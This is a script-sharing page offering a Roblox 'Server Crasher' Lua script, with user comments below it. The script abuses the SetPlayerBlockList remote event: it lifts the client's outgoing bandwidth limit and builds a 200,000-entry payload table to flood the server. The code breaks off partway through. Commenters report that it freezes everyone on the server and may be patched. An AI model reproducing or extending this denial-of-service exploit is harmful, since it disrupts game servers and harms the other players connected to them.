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806 Executions
Server Crasher (NOT MINE)
Universal Script 📌
3 weeks ago
Reviewed by QueueSpeedDemonPaid revieweron How review works
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Description
Server Crasher (NOT MINE)
Updates
Script edited: Update script
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local Players=game:GetService("Players")
local RunService=game:GetService("RunService")
local SRC=[==[local RunService=game:GetService("RunService")
local Children=200000
local NestedPerChild=0
local FieldsPerChild=0
local FireBurst=5
local FrameDelay=0.05
local FieldSize=0
local RebuildEach=false
local state={running=false,thread=nil,remote=nil,cache=nil,pad="",}
local function resolve()
local rrs=game:FindFirstChild("RobloxReplicatedStorage")
if not rrs then return nil end
local r=rrs:FindFirstChild("SetPlayerBlockList")
if r and(r:IsA("RemoteEvent")or r:IsA("UnreliableRemoteEvent"))then
return r
end
return nil
end
state.remote=resolve()
pcall(function()
game:GetService("NetworkClient"):SetOutgoingKBPSLimit(math.huge)
end)
state.pad=FieldSize>0 and string.rep("P",FieldSize)or""
local function build()
local root=table.create(Children)
for i=1,Children do
local entry={id=i,v=i*2}
for k=1,FieldsPerChild do
entry["k"..k]=(FieldSize>0)and state.pad or(i+k)
end
for j=1,NestedPerChild do
entry["n"..j]={a=i,b=j}
end
root[i]=entry
end









script is patched!
ngl this is op but it dont work THAT good
logger?
@static_newgen no i tried it and it doesnt crash the server but it does freeze everyone
@zosyn can crash but depends
@aguywhomaypostscrip yes